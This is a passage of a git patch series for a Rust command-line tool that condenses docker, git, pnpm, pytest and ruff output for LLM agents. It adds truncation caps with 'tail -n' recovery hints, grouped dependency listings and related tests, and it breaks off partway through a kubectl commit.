++++++++++------ 8 files changed, 318 insertions(+), 84 deletions(-) diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index 797aeba866..d5cb012012 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -114,26 +114,46 @@ fn docker_ps(_verbose: u8) -> Result { } } - let mut rtk = String::new(); - rtk.push_str(&format!("[docker] {} running:\n", running.len())); - for parts in running.iter().take(20) { - if let Some(l) = format_line(parts, true) { - rtk.push_str(&l); - } + const MAX_CONTAINERS: usize = 20; + + // Pre-build compressed lines once; assemble full (for tee) and capped (for display) from them. + let running_lines: Vec = running.iter().filter_map(|p| format_line(p, true)).collect(); + let stopped_lines: Vec = stopped.iter().filter_map(|p| format_line(p, false)).collect(); + + let truncated = running_lines.len() > MAX_CONTAINERS || stopped_lines.len() > MAX_CONTAINERS; + + let mut full_rtk = String::new(); + full_rtk.push_str(&format!("[docker] {} running:\n", running_lines.len())); + for l in &running_lines { + full_rtk.push_str(l); } - if running.len() > 20 { - rtk.push_str(&format!(" ... +{} more\n", running.len() - 20)); + if !stopped_lines.is_empty() { + full_rtk.push_str(&format!("[docker] {} stopped/exited:\n", stopped_lines.len())); + for l in &stopped_lines { + full_rtk.push_str(l); + } } - if !stopped.is_empty() { - rtk.push_str(&format!("[docker] {} stopped/exited:\n", stopped.len())); - for parts in stopped.iter().take(20) { - if let Some(l) = format_line(parts, false) { - rtk.push_str(&l); - } + let mut rtk = String::new(); + rtk.push_str(&format!("[docker] {} running:\n", running_lines.len())); + for l in running_lines.iter().take(MAX_CONTAINERS) { + rtk.push_str(l); + } + if running_lines.len() > MAX_CONTAINERS { + rtk.push_str(&format!(" ... +{} more\n", running_lines.len() - MAX_CONTAINERS)); + } + if !stopped_lines.is_empty() { + rtk.push_str(&format!("[docker] {} stopped/exited:\n", stopped_lines.len())); + for l in stopped_lines.iter().take(MAX_CONTAINERS) { + rtk.push_str(l); } - if stopped.len() > 20 { - rtk.push_str(&format!(" ... +{} more\n", stopped.len() - 20)); + if stopped_lines.len() > MAX_CONTAINERS { + rtk.push_str(&format!(" ... +{} more\n", stopped_lines.len() - MAX_CONTAINERS)); + } + } + if truncated { + if let Some(hint) = crate::core::tee::force_tee_hint(&full_rtk, "docker-ps") { + rtk.push_str(&format!("{}\n", hint)); } } @@ -206,16 +226,30 @@ fn docker_images(_verbose: u8) -> Result { // higher bound than before, and only the count, never the names, is // abbreviated) so token savings still hold on machines with many images. const MAX_IMAGES: usize = 60; - for line in lines.iter().take(MAX_IMAGES) { - let parts: Vec<&str> = line.split('\t').collect(); - if !parts.is_empty() { - let image = parts[0]; - let size = parts.get(1).unwrap_or(&""); - rtk.push_str(&format!(" {} [{}]\n", image, size)); - } + let image_lines: Vec = lines + .iter() + .map(|line| { + let parts: Vec<&str> = line.split('\t').collect(); + let image = parts.first().copied().unwrap_or(""); + let size = parts.get(1).copied().unwrap_or(""); + format!(" {} [{}]\n", image, size) + }) + .collect(); + + // full_rtk = header already in rtk + all image lines (for tee when truncated) + let mut full_rtk = rtk.clone(); + for l in &image_lines { + full_rtk.push_str(l); + } + + for l in image_lines.iter().take(MAX_IMAGES) { + rtk.push_str(l); } - if lines.len() > MAX_IMAGES { - rtk.push_str(&format!(" ... +{} more\n", lines.len() - MAX_IMAGES)); + if image_lines.len() > MAX_IMAGES { + rtk.push_str(&format!(" ... +{} more\n", image_lines.len() - MAX_IMAGES)); + if let Some(hint) = crate::core::tee::force_tee_tail_hint(&full_rtk, "docker-images", MAX_IMAGES + 2) { + rtk.push_str(&format!("{}\n", hint)); + } } print!("{}", rtk); diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index ba1b5922bb..b2fb7c6b06 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -678,6 +678,16 @@ fn truncate_line(line: &str, width: usize) -> String { /// Preserve RTK's branch/clean framing while keeping porcelain file lines intact. pub(crate) fn format_status_output(porcelain: &str) -> String { + format_status_inner(porcelain, None) +} + +/// Like `format_status_output` but substitutes the explicit detached-HEAD ref. +// receives the real ref extracted from plain-status output. +pub(crate) fn format_status_output_detached(porcelain: &str, detached_ref: &str) -> String { + format_status_inner(porcelain, Some(detached_ref)) +} + +fn format_status_inner(porcelain: &str, detached: Option<&str>) -> String { let lines: Vec<&str> = porcelain .lines() .filter(|line| !line.trim().is_empty()) @@ -692,7 +702,8 @@ pub(crate) fn format_status_output(porcelain: &str) -> String { if let Some(branch_line) = lines.first() { if branch_line.starts_with("##") { let branch = branch_line.trim_start_matches("## "); - output.push(format!("* {}", branch)); + let display = detached.unwrap_or(branch); + output.push(format!("* {}", display)); } else { output.push((*branch_line).to_string()); } @@ -925,13 +936,10 @@ fn run_status(args: &[String], verbose: u8, global_args: &[String]) -> Result" from the plain status we captured. - if let Some(detached) = extract_detached_head(&raw_output) { - formatted = formatted.replacen("* HEAD (no branch)", &format!("* {detached}"), 1); - } + let formatted = match extract_detached_head(&raw_output) { + Some(detached_ref) => format_status_output_detached(&result.stdout, &detached_ref), + None => format_status_output(&result.stdout), + }; // Surface in-progress state (rebase/merge/cherry-pick/bisect/am) from the // plain-status output we already captured for tracking. Porcelain omits it @@ -2780,6 +2788,20 @@ no changes added to commit (use "git add" and/or "git commit -a") assert!(extract_detached_head(raw).is_none()); } + #[test] + fn test_format_status_output_detached_head() { + let porcelain = "## HEAD (no branch)\n M src/main.rs\n"; + let result = format_status_output_detached(porcelain, "HEAD detached at abc1234"); + assert!( + result.contains("HEAD detached at abc1234"), + "should use explicit detached ref, got: {result}" + ); + assert!( + !result.contains("HEAD (no branch)"), + "should not show opaque porcelain string, got: {result}" + ); + } + #[test] fn test_filter_log_output_body_omission_indicator() { // Commit with 6 meaningful body lines: only 3 shown, must signal "+3 lines omitted" diff --git a/src/cmds/js/pnpm_cmd.rs b/src/cmds/js/pnpm_cmd.rs index 53661faaf5..90357dea70 100644 --- a/src/cmds/js/pnpm_cmd.rs +++ b/src/cmds/js/pnpm_cmd.rs @@ -13,6 +13,11 @@ use crate::parser::{ DependencyState, FormatMode, OutputParser, ParseResult, TokenFormatter, }; +/// Max packages shown per category in `pnpm list` (mixed prod+dev). +/// --prod and --dev filtered calls are never capped — they serve as hint +/// targets so the LLM can retrieve the packages hidden by this cap. +const MAX_LISTING: usize = 20; + /// pnpm list JSON output structure #[derive(Debug, Deserialize)] struct PnpmListOutput { @@ -125,20 +130,33 @@ fn collect_dependencies( fn extract_list_text(output: &str) -> Option { let mut dependencies = Vec::new(); let mut count = 0; + let mut is_dev = false; for line in output.lines() { + let trimmed = line.trim(); + + // Track dependency category from pnpm's section headers + if trimmed == "devDependencies:" { + is_dev = true; + continue; + } + if trimmed == "dependencies:" { + is_dev = false; + continue; + } + // Skip box-drawing and metadata if line.contains('│') || line.contains('├') || line.contains('└') || line.contains("Legend:") - || line.trim().is_empty() + || trimmed.is_empty() { continue; } // Parse lines like: "package@1.2.3" - let parts: Vec<&str> = line.split_whitespace().collect(); + let parts: Vec<&str> = trimmed.split_whitespace().collect(); if !parts.is_empty() { let pkg_str = parts[0]; if let Some(at_pos) = pkg_str.rfind('@') { @@ -150,7 +168,7 @@ fn extract_list_text(output: &str) -> Option { current_version: version.to_string(), latest_version: None, wanted_version: None, - dev_dependency: false, + dev_dependency: is_dev, }); count += 1; } @@ -270,6 +288,55 @@ fn extract_outdated_text(output: &str) -> Option { } } +/// Format a dependency listing with grouped [prod]/[dev] sections. +/// `cap = true` for plain `pnpm list` (both categories present, may truncate). +/// `cap = false` for `pnpm list --prod` / `pnpm list --dev` (hint targets, +/// must show every package so the LLM can find what was hidden by the cap). +fn format_dependency_listing(state: &DependencyState, cap: bool) -> String { + let prod: Vec<_> = state.dependencies.iter().filter(|d| !d.dev_dependency).collect(); + let dev: Vec<_> = state.dependencies.iter().filter(|d| d.dev_dependency).collect(); + let total = state.total_packages.max(state.dependencies.len()); + + let mut lines = vec![format!( + "{} packages ({} prod / {} dev)", + total, + prod.len(), + dev.len() + )]; + + if !prod.is_empty() { + lines.push("[prod]".to_string()); + let shown = if cap { prod.len().min(MAX_LISTING) } else { prod.len() }; + for dep in prod.iter().take(shown) { + lines.push(format!(" {} {}", dep.name, dep.current_version)); + } + if cap && prod.len() > MAX_LISTING { + lines.push(format!( + " ... +{} more — run `pnpm list --prod | tail -n +{}`", + prod.len() - MAX_LISTING, + MAX_LISTING + 3 + )); + } + } + + if !dev.is_empty() { + lines.push("[dev]".to_string()); + let shown = if cap { dev.len().min(MAX_LISTING) } else { dev.len() }; + for dep in dev.iter().take(shown) { + lines.push(format!(" {} {}", dep.name, dep.current_version)); + } + if cap && dev.len() > MAX_LISTING { + lines.push(format!( + " ... +{} more — run `pnpm list --dev | tail -n +{}`", + dev.len() - MAX_LISTING, + MAX_LISTING + 3 + )); + } + } + + lines.join("\n") +} + #[derive(Debug, Clone)] pub enum PnpmCommand { List { depth: usize }, @@ -304,22 +371,24 @@ fn run_list(depth: usize, args: &[String], verbose: u8) -> Result { return Ok(result.exit_code); } - // Parse output using PnpmListParser + let is_filtered = args + .iter() + .any(|a| matches!(a.as_str(), "--prod" | "-P" | "--dev" | "-D")); + let parse_result = PnpmListParser::parse(&result.stdout); - let mode = FormatMode::from_verbosity(verbose); let filtered = match parse_result { ParseResult::Full(data) => { if verbose > 0 { eprintln!("pnpm list (Tier 1: Full JSON parse)"); } - data.format(mode) + format_dependency_listing(&data, !is_filtered) } ParseResult::Degraded(data, warnings) => { if verbose > 0 { emit_degradation_warning("pnpm list", &warnings.join(", ")); } - data.format(mode) + format_dependency_listing(&data, !is_filtered) } ParseResult::Passthrough(raw) => { emit_passthrough_warning("pnpm list", "All parsing tiers failed"); @@ -513,4 +582,87 @@ mod tests { let _args: Vec = vec![OsString::from("help")]; // Compile-time verification that the function exists with correct signature } + + fn make_state(prod: &[&str], dev: &[&str]) -> DependencyState { + let mut deps = Vec::new(); + for name in prod { + deps.push(Dependency { + name: name.to_string(), + current_version: "1.0.0".to_string(), + latest_version: None, + wanted_version: None, + dev_dependency: false, + }); + } + for name in dev { + deps.push(Dependency { + name: name.to_string(), + current_version: "1.0.0".to_string(), + latest_version: None, + wanted_version: None, + dev_dependency: true, + }); + } + DependencyState { + total_packages: deps.len(), + outdated_count: 0, + dependencies: deps, + } + } + + #[test] + fn test_format_listing_grouped_sections() { + let state = make_state(&["react", "typescript"], &["eslint", "vitest"]); + let out = format_dependency_listing(&state, true); + assert!(out.contains("[prod]"), "prod section missing"); + assert!(out.contains("[dev]"), "dev section missing"); + assert!(out.contains("react"), "prod package missing"); + assert!(out.contains("eslint"), "dev package missing"); + assert!(!out.contains("(dev)"), "per-line (dev) marker should be gone"); + } + + #[test] + fn test_format_listing_cap_shows_hint_with_offset() { + let prod: Vec<&str> = (0..60).map(|_| "pkg").collect(); + let state = make_state(&prod, &["eslint"]); + let out = format_dependency_listing(&state, true); + let prod_count = 60usize; + assert!( + out.contains(&format!("... +{} more", prod_count - MAX_LISTING)), + "truncation count missing" + ); + assert!( + out.contains(&format!("tail -n +{}", MAX_LISTING + 3)), + "tail offset missing: got\n{out}" + ); + assert!(out.contains("pnpm list --prod"), "hint command missing"); + } + + #[test] + fn test_format_listing_no_cap_when_prod_only() { + let prod: Vec<&str> = (0..60).map(|_| "pkg").collect(); + let state = make_state(&prod, &[]); + let out = format_dependency_listing(&state, false); + assert!(!out.contains("... +"), "should not truncate when cap=false"); + assert!(!out.contains("[dev]"), "no dev section for prod-only state"); + } + + #[test] + fn test_format_listing_no_cap_when_dev_only() { + let dev: Vec<&str> = (0..60).map(|_| "pkg").collect(); + let state = make_state(&[], &dev); + let out = format_dependency_listing(&state, false); + assert!(!out.contains("... +"), "should not truncate when cap=false"); + assert!(!out.contains("[prod]"), "no prod section for dev-only state"); + } + + #[test] + fn test_extract_list_text_tracks_dev_section() { + let input = "dependencies:\nreact@18.0.0\ndevDependencies:\neslint@8.0.0\n"; + let state = extract_list_text(input).expect("should parse"); + let react = state.dependencies.iter().find(|d| d.name == "react").unwrap(); + let eslint = state.dependencies.iter().find(|d| d.name == "eslint").unwrap(); + assert!(!react.dev_dependency, "react should be prod"); + assert!(eslint.dev_dependency, "eslint should be dev"); + } } diff --git a/src/cmds/python/pytest_cmd.rs b/src/cmds/python/pytest_cmd.rs index 9b349bcf55..18bd3b9939 100644 --- a/src/cmds/python/pytest_cmd.rs +++ b/src/cmds/python/pytest_cmd.rs @@ -4,6 +4,8 @@ use crate::core::runner; use crate::core::utils::{resolved_command, tool_exists, truncate}; use anyhow::Result; +const MAX_XFAIL: usize = 10; + #[derive(Debug, PartialEq)] enum ParseState { Header, @@ -205,11 +207,15 @@ fn build_pytest_summary( // signals that something expected-to-fail now passes. if !xfail_lines.is_empty() { result.push_str("\nExpected-failure outcomes:\n"); - for line in xfail_lines.iter().take(10) { + for line in xfail_lines.iter().take(MAX_XFAIL) { result.push_str(&format!(" {}\n", truncate(line, 120))); } - if xfail_lines.len() > 10 { - result.push_str(&format!(" ... +{} more\n", xfail_lines.len() - 10)); + if xfail_lines.len() > MAX_XFAIL { + result.push_str(&format!(" ... +{} more\n", xfail_lines.len() - MAX_XFAIL)); + let all_xfail = xfail_lines.join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_xfail, "pytest-xfail", MAX_XFAIL + 1) { + result.push_str(&format!(" {}\n", hint)); + } } } diff --git a/src/cmds/python/ruff_cmd.rs b/src/cmds/python/ruff_cmd.rs index c13ac0e9e8..1468483cd4 100644 --- a/src/cmds/python/ruff_cmd.rs +++ b/src/cmds/python/ruff_cmd.rs @@ -181,12 +181,11 @@ pub fn filter_ruff_check_json(output: &str) -> String { result.push_str(&format!("\n... +{} more files\n", file_counts.len() - 10)); } - // List individual violations with file:line:col so an agent can navigate - // straight to each one — the rule/file grouping above is a summary, not a - // substitute for locations. - const MAX_VIOLATIONS: usize = 50; + // List all violations with file:line:col — format compression (JSON → one + // liner) already saves ~10x; capping would hide locations the agent needs + // to navigate directly to each issue. result.push_str("\nViolations:\n"); - for diag in diagnostics.iter().take(MAX_VIOLATIONS) { + for diag in &diagnostics { result.push_str(&format!( " {}:{}:{} {} {}\n", compact_path(&diag.filename), @@ -196,12 +195,6 @@ pub fn filter_ruff_check_json(output: &str) -> String { truncate(diag.message.trim(), 100), )); } - if diagnostics.len() > MAX_VIOLATIONS { - result.push_str(&format!( - " ... +{} more violations\n", - diagnostics.len() - MAX_VIOLATIONS - )); - } if fixable_count > 0 { result.push_str(&format!( diff --git a/src/cmds/system/pipe_cmd.rs b/src/cmds/system/pipe_cmd.rs index dcbc52cad9..f4e041d221 100644 --- a/src/cmds/system/pipe_cmd.rs +++ b/src/cmds/system/pipe_cmd.rs @@ -15,7 +15,7 @@ pub fn resolve_filter(name: &str) -> Option String> { "find" | "fd" => Some(find_wrapper), "git-log" => Some(git_log_wrapper), "git-diff" => Some(git_diff_wrapper), - "git-status" => Some(crate::cmds::git::git::format_status_output), + "git-status" => Some(git_status_wrapper), "log" => Some(crate::cmds::system::log_cmd::run_stdin_str), "mypy" => Some(crate::cmds::python::mypy_cmd::filter_mypy_output), "ruff-check" => Some(crate::cmds::python::ruff_cmd::filter_ruff_check_json), @@ -29,6 +29,10 @@ fn go_test_wrapper(input: &str) -> String { crate::cmds::go::go_cmd::filter_go_test_json(input) } +fn git_status_wrapper(input: &str) -> String { + crate::cmds::git::git::format_status_output(input) +} + fn git_log_wrapper(input: &str) -> String { crate::cmds::git::git::filter_log_output(input, 50, false, false) } diff --git a/src/core/README.md b/src/core/README.md index ca031a15ac..9b8a8a414f 100644 --- a/src/core/README.md +++ b/src/core/README.md @@ -121,5 +121,7 @@ Consumers that parse structured output (JSON, NDJSON, state machines) should cal For truncation recovery on **success** (e.g., list truncated at 20 items), use `tee::force_tee_hint()` which bypasses the tee mode check and writes regardless of exit code. This ensures LLMs always have a `[full output: ...]` recovery path instead of burning tokens working around missing data. +When the truncated output is a **flat list** and the hidden items start at a predictable line, prefer `tee::force_tee_tail_hint(content, slug, offset)`. It writes the same tee file but emits a directly runnable hint — `[see remaining: tail -n +{offset} ~/path]` — so the agent jumps to exactly the first hidden item without scanning the whole file. The offset is `header_lines + MAX_CAP + 1`. Use `force_tee_hint` instead when the output has multiple sections (e.g. running + stopped containers) and no single offset cleanly covers the gap. + ## Adding New Functionality Place new infrastructure code here if it meets **all** of these criteria: (1) it has no dependencies on command modules or hooks, (2) it is used by two or more other modules, and (3) it provides a general-purpose utility rather than command-specific logic. Follow the existing pattern of lazy-initialized resources (`lazy_static!` for regex, on-demand config loading) to preserve the <10ms startup target. Add `#[cfg(test)] mod tests` with unit tests in the same file. diff --git a/src/core/tee.rs b/src/core/tee.rs index c67ea8349d..0b01bcae3b 100644 --- a/src/core/tee.rs +++ b/src/core/tee.rs @@ -168,19 +168,17 @@ pub fn tee_raw(raw: &str, command_slug: &str, exit_code: i32) -> Option ) } -/// Format the hint line with ~ shorthand for home directory. -fn format_hint(path: &std::path::Path) -> String { - let display = if let Some(home) = dirs::home_dir() { +fn display_path(path: &std::path::Path) -> String { + if let Some(home) = dirs::home_dir() { if let Ok(relative) = path.strip_prefix(&home) { - format!("~/{}", relative.display()) - } else { - path.display().to_string() + return format!("~/{}", relative.display()); } - } else { - path.display().to_string() - }; + } + path.display().to_string() +} - format!("[full output: {}]", display) +fn format_hint(path: &std::path::Path) -> String { + format!("[full output: {}]", display_path(path)) } /// Convenience: tee + format hint in one call. @@ -190,26 +188,17 @@ pub fn tee_and_hint(raw: &str, command_slug: &str, exit_code: i32) -> Option= MIN_TEE_SIZE and tee is enabled. -/// Returns hint string if file was written, None if skipped/disabled. -/// -/// Used by AWS filters when FilterResult.truncated = true, ensuring -/// the LLM has access to full untruncated output via the hint path. -pub fn force_tee_hint(raw: &str, command_slug: &str) -> Option { - // Check RTK_TEE=0 env override (disable) +fn force_tee_path(content: &str, command_slug: &str) -> Option { if std::env::var("RTK_TEE").ok().as_deref() == Some("0") { return None; } - // Skip if output too small - if raw.len() < MIN_TEE_SIZE { + if content.is_empty() { return None; } let config = Config::load().ok()?; - // Respect enabled flag but ignore mode (force tee) if !config.tee.enabled { return None; } @@ -217,17 +206,35 @@ pub fn force_tee_hint(raw: &str, command_slug: &str) -> Option { let tee_dir = get_tee_dir(&config)?; let tee_dir = std::fs::create_dir_all(&tee_dir).ok().and(Some(tee_dir))?; - let path = write_tee_file( - raw, + write_tee_file( + content, command_slug, &tee_dir, config.tee.max_file_size, config.tee.max_files, - )?; + ) +} +/// Returns `[full output: ~/path]`, or None if tee is disabled/skipped. +pub fn force_tee_hint(raw: &str, command_slug: &str) -> Option { + let path = force_tee_path(raw, command_slug)?; Some(format_hint(&path)) } +/// Returns `[see remaining: tail -n +{line_offset} ~/path]`, or None if tee is disabled/skipped. +pub fn force_tee_tail_hint( + content: &str, + command_slug: &str, + line_offset: usize, +) -> Option { + let path = force_tee_path(content, command_slug)?; + Some(format!( + "[see remaining: tail -n +{} {}]", + line_offset, + display_path(&path) + )) +} + /// TeeMode controls when tee writes files. #[derive(Debug, Clone, serde::Serialize, serde::Deserialize, PartialEq, Default)] #[serde(rename_all = "lowercase")] @@ -487,11 +494,9 @@ directory = "/tmp/rtk-tee" } #[test] - fn test_force_tee_hint_skip_small_output() { - // force_tee_hint should respect MIN_TEE_SIZE - let small_output = "short error"; - let hint = force_tee_hint(small_output, "test_cmd"); - assert!(hint.is_none(), "Should skip output < MIN_TEE_SIZE"); + fn test_force_tee_hint_skip_empty() { + let hint = force_tee_hint("", "test_cmd"); + assert!(hint.is_none(), "Should skip empty content"); } #[test] @@ -503,4 +508,20 @@ directory = "/tmp/rtk-tee" std::env::remove_var("RTK_TEE"); assert!(hint.is_none(), "Should respect RTK_TEE=0"); } + + #[test] + fn test_force_tee_tail_hint_skip_empty() { + let hint = force_tee_tail_hint("", "test_cmd", 22); + assert!(hint.is_none(), "Should skip empty content"); + } + + #[test] + fn test_force_tee_tail_hint_format() { + let path = std::path::PathBuf::from("/tmp/rtk/tee/123_docker_images.log"); + let display = display_path(&path); + let hint = format!("[see remaining: tail -n +{} {}]", 22, display); + assert!(hint.starts_with("[see remaining: tail -n +22 ")); + assert!(hint.ends_with(']')); + assert!(hint.contains("123_docker_images.log")); + } } From 4eefe2f225ea512a2f1bf800dd20c09994721108 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Sat, 16 May 2026 15:06:46 +0200 Subject: [PATCH 121/204] fix: re-add env python as noisy dir --- src/cmds/system/constants.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/src/cmds/system/constants.rs b/src/cmds/system/constants.rs index bd8c496378..4b39d54fe7 100644 --- a/src/cmds/system/constants.rs +++ b/src/cmds/system/constants.rs @@ -14,6 +14,7 @@ pub const NOISE_DIRS: &[&str] = &[ ".tox", ".venv", "venv", + "env", // Python legacy virtualenv dir — noise. .env (dotenv) is intentionally NOT here: agents must see it. "coverage", ".nyc_output", ".DS_Store", From 3571d5293dc463c2a0aadfa9a5587b18478ca99a Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Sat, 16 May 2026 15:23:06 +0200 Subject: [PATCH 122/204] fix: '...' ascii to unicode, remove some comments --- src/cmds/cloud/container.rs | 19 ++++++++----------- src/cmds/git/git.rs | 3 --- src/cmds/js/pnpm_cmd.rs | 11 +++++------ src/cmds/python/pytest_cmd.rs | 5 ++--- 4 files changed, 15 insertions(+), 23 deletions(-) diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index d5cb012012..ee2ac6e4bf 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -54,7 +54,6 @@ where fn docker_ps(_verbose: u8) -> Result { let timer = tracking::TimedExecution::start(); - // Baseline the LLM would otherwise see. let raw = exec_capture(resolved_command("docker").args(["ps"])) .map(|r| r.stdout) .unwrap_or_default(); @@ -76,7 +75,6 @@ fn docker_ps(_verbose: u8) -> Result { } let format_line = |parts: &[&str], with_ports: bool| -> Option { - // parts: State, ID, Names, Status, Image, Ports if parts.len() < 5 { return None; } @@ -140,7 +138,7 @@ fn docker_ps(_verbose: u8) -> Result { rtk.push_str(l); } if running_lines.len() > MAX_CONTAINERS { - rtk.push_str(&format!(" ... +{} more\n", running_lines.len() - MAX_CONTAINERS)); + rtk.push_str(&format!(" … +{} more\n", running_lines.len() - MAX_CONTAINERS)); } if !stopped_lines.is_empty() { rtk.push_str(&format!("[docker] {} stopped/exited:\n", stopped_lines.len())); @@ -148,7 +146,7 @@ fn docker_ps(_verbose: u8) -> Result { rtk.push_str(l); } if stopped_lines.len() > MAX_CONTAINERS { - rtk.push_str(&format!(" ... +{} more\n", stopped_lines.len() - MAX_CONTAINERS)); + rtk.push_str(&format!(" … +{} more\n", stopped_lines.len() - MAX_CONTAINERS)); } } if truncated { @@ -236,7 +234,6 @@ fn docker_images(_verbose: u8) -> Result { }) .collect(); - // full_rtk = header already in rtk + all image lines (for tee when truncated) let mut full_rtk = rtk.clone(); for l in &image_lines { full_rtk.push_str(l); @@ -246,7 +243,7 @@ fn docker_images(_verbose: u8) -> Result { rtk.push_str(l); } if image_lines.len() > MAX_IMAGES { - rtk.push_str(&format!(" ... +{} more\n", image_lines.len() - MAX_IMAGES)); + rtk.push_str(&format!(" … +{} more\n", image_lines.len() - MAX_IMAGES)); if let Some(hint) = crate::core::tee::force_tee_tail_hint(&full_rtk, "docker-images", MAX_IMAGES + 2) { rtk.push_str(&format!("{}\n", hint)); } @@ -356,7 +353,7 @@ fn format_kubectl_pods(json: &Value) -> String { out.push_str(&format!(" {}\n", issue)); } if issues.len() > 10 { - out.push_str(&format!(" ... +{} more", issues.len() - 10)); + out.push_str(&format!(" … +{} more", issues.len() - 10)); } } out @@ -409,7 +406,7 @@ fn format_kubectl_services(json: &Value) -> String { )); } if services.len() > 15 { - out.push_str(&format!(" ... +{} more", services.len() - 15)); + out.push_str(&format!(" … +{} more", services.len() - 15)); } out } @@ -483,7 +480,7 @@ pub fn format_compose_ps(raw: &str) -> String { } } if lines.len() > 20 { - result.push_str(&format!(" ... +{} more\n", lines.len() - 20)); + result.push_str(&format!(" … +{} more\n", lines.len() - 20)); } result.trim_end().to_string() @@ -573,7 +570,7 @@ fn compact_ports(ports: &str) -> String { port_nums.join(", ") } else { format!( - "{}, ... +{}", + "{}, … +{}", port_nums[..2].join(", "), port_nums.len() - 2 ) @@ -814,6 +811,6 @@ api-1 | Connected to database"; #[test] fn test_compact_ports_many() { let result = compact_ports("0.0.0.0:80->80/tcp, 0.0.0.0:443->443/tcp, 0.0.0.0:8080->8080/tcp, 0.0.0.0:9090->9090/tcp"); - assert!(result.contains("..."), "should truncate for >3 ports"); + assert!(result.contains("…"), "should truncate for >3 ports"); } } diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index b2fb7c6b06..622f45709f 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -676,13 +676,10 @@ fn truncate_line(line: &str, width: usize) -> String { } } -/// Preserve RTK's branch/clean framing while keeping porcelain file lines intact. pub(crate) fn format_status_output(porcelain: &str) -> String { format_status_inner(porcelain, None) } -/// Like `format_status_output` but substitutes the explicit detached-HEAD ref. -// receives the real ref extracted from plain-status output. pub(crate) fn format_status_output_detached(porcelain: &str, detached_ref: &str) -> String { format_status_inner(porcelain, Some(detached_ref)) } diff --git a/src/cmds/js/pnpm_cmd.rs b/src/cmds/js/pnpm_cmd.rs index 90357dea70..ce5f98444e 100644 --- a/src/cmds/js/pnpm_cmd.rs +++ b/src/cmds/js/pnpm_cmd.rs @@ -135,7 +135,6 @@ fn extract_list_text(output: &str) -> Option { for line in output.lines() { let trimmed = line.trim(); - // Track dependency category from pnpm's section headers if trimmed == "devDependencies:" { is_dev = true; continue; @@ -312,7 +311,7 @@ fn format_dependency_listing(state: &DependencyState, cap: bool) -> String { } if cap && prod.len() > MAX_LISTING { lines.push(format!( - " ... +{} more — run `pnpm list --prod | tail -n +{}`", + " … +{} more — run `pnpm list --prod | tail -n +{}`", prod.len() - MAX_LISTING, MAX_LISTING + 3 )); @@ -327,7 +326,7 @@ fn format_dependency_listing(state: &DependencyState, cap: bool) -> String { } if cap && dev.len() > MAX_LISTING { lines.push(format!( - " ... +{} more — run `pnpm list --dev | tail -n +{}`", + " … +{} more — run `pnpm list --dev | tail -n +{}`", dev.len() - MAX_LISTING, MAX_LISTING + 3 )); @@ -628,7 +627,7 @@ mod tests { let out = format_dependency_listing(&state, true); let prod_count = 60usize; assert!( - out.contains(&format!("... +{} more", prod_count - MAX_LISTING)), + out.contains(&format!("… +{} more", prod_count - MAX_LISTING)), "truncation count missing" ); assert!( @@ -643,7 +642,7 @@ mod tests { let prod: Vec<&str> = (0..60).map(|_| "pkg").collect(); let state = make_state(&prod, &[]); let out = format_dependency_listing(&state, false); - assert!(!out.contains("... +"), "should not truncate when cap=false"); + assert!(!out.contains("… +"), "should not truncate when cap=false"); assert!(!out.contains("[dev]"), "no dev section for prod-only state"); } @@ -652,7 +651,7 @@ mod tests { let dev: Vec<&str> = (0..60).map(|_| "pkg").collect(); let state = make_state(&[], &dev); let out = format_dependency_listing(&state, false); - assert!(!out.contains("... +"), "should not truncate when cap=false"); + assert!(!out.contains("… +"), "should not truncate when cap=false"); assert!(!out.contains("[prod]"), "no prod section for dev-only state"); } diff --git a/src/cmds/python/pytest_cmd.rs b/src/cmds/python/pytest_cmd.rs index 18bd3b9939..cda1768f2a 100644 --- a/src/cmds/python/pytest_cmd.rs +++ b/src/cmds/python/pytest_cmd.rs @@ -139,7 +139,6 @@ pub(crate) fn filter_pytest_output(output: &str) -> String { if trimmed.starts_with("FAILED") || trimmed.starts_with("ERROR") { failures.push(trimmed.to_string()); } else if trimmed.starts_with("XFAIL") || trimmed.starts_with("XPASS") { - // `-rxX` adds these: "XFAIL path::test - reason" / "XPASS path::test - reason" xfail_lines.push(trimmed.to_string()); } } @@ -211,7 +210,7 @@ fn build_pytest_summary( result.push_str(&format!(" {}\n", truncate(line, 120))); } if xfail_lines.len() > MAX_XFAIL { - result.push_str(&format!(" ... +{} more\n", xfail_lines.len() - MAX_XFAIL)); + result.push_str(&format!(" … +{} more\n", xfail_lines.len() - MAX_XFAIL)); let all_xfail = xfail_lines.join("\n"); if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_xfail, "pytest-xfail", MAX_XFAIL + 1) { result.push_str(&format!(" {}\n", hint)); @@ -272,7 +271,7 @@ fn build_pytest_summary( } if failures.len() > 5 { - result.push_str(&format!("\n... +{} more failures\n", failures.len() - 5)); + result.push_str(&format!("\n… +{} more failures\n", failures.len() - 5)); } result.trim().to_string() From b8172e5b1de2fd3a27d992ffba484f01b47d84d4 Mon Sep 17 00:00:00 2001 From: pagarsky Date: Tue, 5 May 2026 13:05:22 +0300 Subject: [PATCH 123/204] fix(kubectl): compact get pods and services aliases Co-authored-by: Cursor --- src/cmds/cloud/container.rs | 89 +++++++++++++++++++++++++++++++++++++ src/main.rs | 19 ++++++++ 2 files changed, 108 insertions(+) diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index dd32a23125..71c8b9e19b 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -612,6 +612,45 @@ pub fn run_compose_passthrough(args: &[OsString], verbose: u8) -> Result { crate::core::runner::run_passthrough("docker", &combined, verbose) } +pub fn run_kubectl_get(args: &[String], verbose: u8) -> Result { + match kubectl_get_target(args) { + Some(("pods", rest)) => run(ContainerCmd::KubectlPods, rest, verbose), + Some(("services", rest)) => run(ContainerCmd::KubectlServices, 